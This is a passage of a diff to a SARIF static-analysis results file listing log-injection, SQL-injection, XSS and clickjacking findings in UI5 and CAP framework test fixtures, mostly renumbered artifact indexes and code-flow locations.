                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 14,
@@ -19482,7 +19717,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 14,
@@ -19500,7 +19735,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 14,
@@ -19518,7 +19753,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 16,
@@ -19539,7 +19774,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 3
           },
           "region" : {
             "startLine" : 13,
@@ -19568,7 +19803,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 3
           },
           "region" : {
             "startLine" : 25,
@@ -19589,7 +19824,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 21,
@@ -19607,7 +19842,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 21,
@@ -19625,7 +19860,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 21,
@@ -19643,7 +19878,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 22,
@@ -19661,7 +19896,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 22,
@@ -19679,7 +19914,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 22,
@@ -19697,7 +19932,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 22,
@@ -19715,7 +19950,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 23,
@@ -19733,7 +19968,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 23,
@@ -19751,7 +19986,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 23,
@@ -19769,7 +20004,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 25,
@@ -19790,7 +20025,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 3
           },
           "region" : {
             "startLine" : 21,
@@ -19819,7 +20054,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 112
+            "index" : 115
           },
           "region" : {
             "startLine" : 13,
@@ -19840,7 +20075,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 118
+                  "index" : 121
                 },
                 "region" : {
                   "startLine" : 5,
@@ -19859,7 +20094,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 113
+                  "index" : 116
                 },
                 "region" : {
                   "startLine" : 9,
@@ -19877,7 +20112,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 112
+                  "index" : 115
                 },
                 "region" : {
                   "startLine" : 7,
@@ -19895,7 +20130,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 112
+                  "index" : 115
                 },
                 "region" : {
                   "startLine" : 13,
@@ -19916,7 +20151,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 118
+            "index" : 121
           },
           "region" : {
             "startLine" : 5,
@@ -19946,7 +20181,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 121
+            "index" : 125
           },
           "region" : {
             "startLine" : 17,
@@ -19967,7 +20202,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 128
+                  "index" : 130
                 },
                 "region" : {
                   "startLine" : 5,
@@ -19986,7 +20221,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 123
+                  "index" : 126
                 },
                 "region" : {
                   "startLine" : 9,
@@ -20004,7 +20239,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 121
+                  "index" : 125
                 },
                 "region" : {
                   "startLine" : 8,
@@ -20022,7 +20257,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 121
+                  "index" : 125
                 },
                 "region" : {
                   "startLine" : 15,
@@ -20040,7 +20275,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 121
+                  "index" : 125
                 },
                 "region" : {
                   "startLine" : 15,
@@ -20058,7 +20293,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 121
+                  "index" : 125
                 },
                 "region" : {
                   "startLine" : 16,
@@ -20076,7 +20311,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 121
+                  "index" : 125
                 },
                 "region" : {
                   "startLine" : 16,
@@ -20094,7 +20329,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 121
+                  "index" : 125
                 },
                 "region" : {
                   "startLine" : 16,
@@ -20112,7 +20347,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 121
+                  "index" : 125
                 },
                 "region" : {
                   "startLine" : 16,
@@ -20130,7 +20365,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 121
+                  "index" : 125
                 },
                 "region" : {
                   "startLine" : 17,
@@ -20151,7 +20386,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 128
+            "index" : 130
           },
           "region" : {
             "startLine" : 5,
@@ -20181,7 +20416,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 131
+            "index" : 133
           },
           "region" : {
             "startLine" : 17,
@@ -20202,7 +20437,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 136
+                  "index" : 138
                 },
                 "region" : {
                   "startLine" : 5,
@@ -20221,7 +20456,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 131
+                  "index" : 133
                 },
                 "region" : {
                   "startLine" : 9,
@@ -20239,7 +20474,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 131
+                  "index" : 133
                 },
                 "region" : {
                   "startLine" : 15,
@@ -20257,7 +20492,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 131
+                  "index" : 133
                 },
                 "region" : {
                   "startLine" : 15,
@@ -20275,7 +20510,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 131
+                  "index" : 133
                 },
                 "region" : {
                   "startLine" : 17,
@@ -20296,7 +20531,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 136
+            "index" : 138
           },
           "region" : {
             "startLine" : 5,
@@ -20326,7 +20561,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 77
+            "index" : 81
           },
           "region" : {
             "startLine" : 9,
@@ -20356,7 +20591,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 77
+            "index" : 81
           },
           "region" : {
             "startLine" : 28,
@@ -20386,7 +20621,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 80
+            "index" : 83
           },
           "region" : {
             "startLine" : 2,
@@ -20415,7 +20650,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 169
+            "index" : 172
           },
           "region" : {
             "startLine" : 2,
@@ -20428,34 +20663,34 @@
         "primaryLocationStartColumnFingerprint" : "0"
       }
     }, {
-      "ruleId" : "js/cap-log-injection",
+      "ruleId" : "js/cap-sql-injection",
       "rule" : {
-        "id" : "js/cap-log-injection",
-        "index" : 1,
+        "id" : "js/cap-sql-injection",
+        "index" : 0,
         "toolComponent" : {
           "index" : 0
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
+        "text" : "This query depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
             "index" : 1
           },
           "region" : {
-            "startLine" : 11,
-            "startColumn" : 16,
-            "endColumn" : 29
+            "startLine" : 13,
+            "startColumn" : 36,
+            "endColumn" : 41
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "eae426bf8fad0192:1",
-        "primaryLocationStartColumnFingerprint" : "9"
+        "primaryLocationLineHash" : "e5ae8639cd6967fb:1",
+        "primaryLocationStartColumnFingerprint" : "29"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -20463,7 +20698,7 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
@@ -20481,7 +20716,7 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
@@ -20499,7 +20734,7 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
@@ -20517,7 +20752,7 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
@@ -20535,7 +20770,7 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
@@ -20553,7 +20788,7 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
@@ -20571,14 +20806,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 11,
-                  "startColumn" : 25,
-                  "endColumn" : 29
+                  "startLine" : 12,
+                  "startColumn" : 50,
+                  "endColumn" : 54
                 }
               },
               "message" : {
@@ -20589,161 +20824,72 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 11,
-                  "startColumn" : 16,
-                  "endColumn" : 29
+                  "startLine" : 12,
+                  "startColumn" : 44,
+                  "endColumn" : 56
                 }
               },
               "message" : {
-                "text" : "\"CAP:\" + book"
-              }
-            }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 1
-          },
-          "region" : {
-            "startLine" : 7,
-            "startColumn" : 34,
-            "endColumn" : 37
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/cap-log-injection",
-      "rule" : {
-        "id" : "js/cap-log-injection",
-        "index" : 1,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 1
-          },
-          "region" : {
-            "startLine" : 18,
-            "startColumn" : 47,
-            "endColumn" : 48
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "e05b39891dddd161:1",
-        "primaryLocationStartColumnFingerprint" : "40"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
-                },
-                "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 24,
-                  "endColumn" : 27
-                }
-              },
-              "message" : {
-                "text" : "req"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 1
-                },
-                "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 17,
-                  "endColumn" : 20
-                }
-              },
-              "message" : {
-                "text" : "req"
+                "text" : "`ID=${book}`"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 17,
-                  "endColumn" : 25
+                  "startLine" : 12,
+                  "startColumn" : 19,
+                  "endColumn" : 57
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "SELECT. ... book}`)"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 13,
-                  "endColumn" : 25
+                  "startLine" : 12,
+                  "startColumn" : 11,
+                  "endColumn" : 57
                 }
               },
               "message" : {
-                "text" : "$"
+                "text" : "query"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 47,
-                  "endColumn" : 48
+                  "startLine" : 13,
+                  "startColumn" : 36,
+                  "endColumn" : 41
                 }
               },
               "message" : {
-                "text" : "$"
+                "text" : "query"
               }
             }
           } ]
@@ -20753,14 +20899,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
             "index" : 1
           },
           "region" : {
-            "startLine" : 15,
-            "startColumn" : 24,
-            "endColumn" : 27
+            "startLine" : 7,
+            "startColumn" : 34,
+            "endColumn" : 37
           }
         },
         "message" : {
@@ -20768,34 +20914,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/cap-log-injection",
+      "ruleId" : "js/cap-sql-injection",
       "rule" : {
-        "id" : "js/cap-log-injection",
-        "index" : 1,
+        "id" : "js/cap-sql-injection",
+        "index" : 0,
         "toolComponent" : {
           "index" : 0
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
+        "text" : "This query depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
             "index" : 1
           },
           "region" : {
-            "startLine" : 25,
-            "startColumn" : 16,
-            "endColumn" : 29
+            "startLine" : 15,
+            "startColumn" : 27,
+            "endColumn" : 65
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "4dc77ce4a9b7031e:1",
-        "primaryLocationStartColumnFingerprint" : "9"
+        "primaryLocationLineHash" : "b41554298e90b620:1",
+        "primaryLocationStartColumnFingerprint" : "20"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -20803,30 +20949,66 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 23,
+                  "startLine" : 7,
                   "startColumn" : 34,
-                  "endColumn" : 54
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "req2.params.category"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 23,
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 37
+                }
+              },
+              "message" : {
+                "text" : "req"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 42
+                }
+              },
+              "message" : {
+                "text" : "req.data"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 8,
                   "startColumn" : 13,
                   "endColumn" : 31
                 }
@@ -20839,12 +21021,12 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 23,
+                  "startLine" : 8,
                   "startColumn" : 15,
                   "endColumn" : 19
                 }
@@ -20857,14 +21039,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 23,
+                  "startLine" : 8,
                   "startColumn" : 13,
-                  "endColumn" : 54
+                  "endColumn" : 42
                 }
               },
               "message" : {
@@ -20875,14 +21057,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 25,
-                  "startColumn" : 25,
-                  "endColumn" : 29
+                  "startLine" : 15,
+                  "startColumn" : 58,
+                  "endColumn" : 62
                 }
               },
               "message" : {
@@ -20893,18 +21075,36 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 1
                 },
                 "region" : {
-                  "startLine" : 25,
-                  "startColumn" : 16,
-                  "endColumn" : 29
+                  "startLine" : 15,
+                  "startColumn" : 52,
+                  "endColumn" : 64
                 }
               },
               "message" : {
-                "text" : "\"CAP:\" + book"
+                "text" : "`ID=${book}`"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 15,
+                  "startColumn" : 27,
+                  "endColumn" : 65
+                }
+              },
+              "message" : {
+                "text" : "SELECT. ... book}`)"
               }
             }
           } ]
@@ -20914,14 +21114,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
             "index" : 1
           },
           "region" : {
-            "startLine" : 23,
+            "startLine" : 7,
             "startColumn" : 34,
-            "endColumn" : 54
+            "endColumn" : 37
           }
         },
         "message" : {
@@ -20929,34 +21129,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/cap-log-injection",
+      "ruleId" : "js/cap-sql-injection",
       "rule" : {
-        "id" : "js/cap-log-injection",
-        "index" : 1,
+        "id" : "js/cap-sql-injection",
+        "index" : 0,
         "toolComponent" : {
           "index" : 0
         }
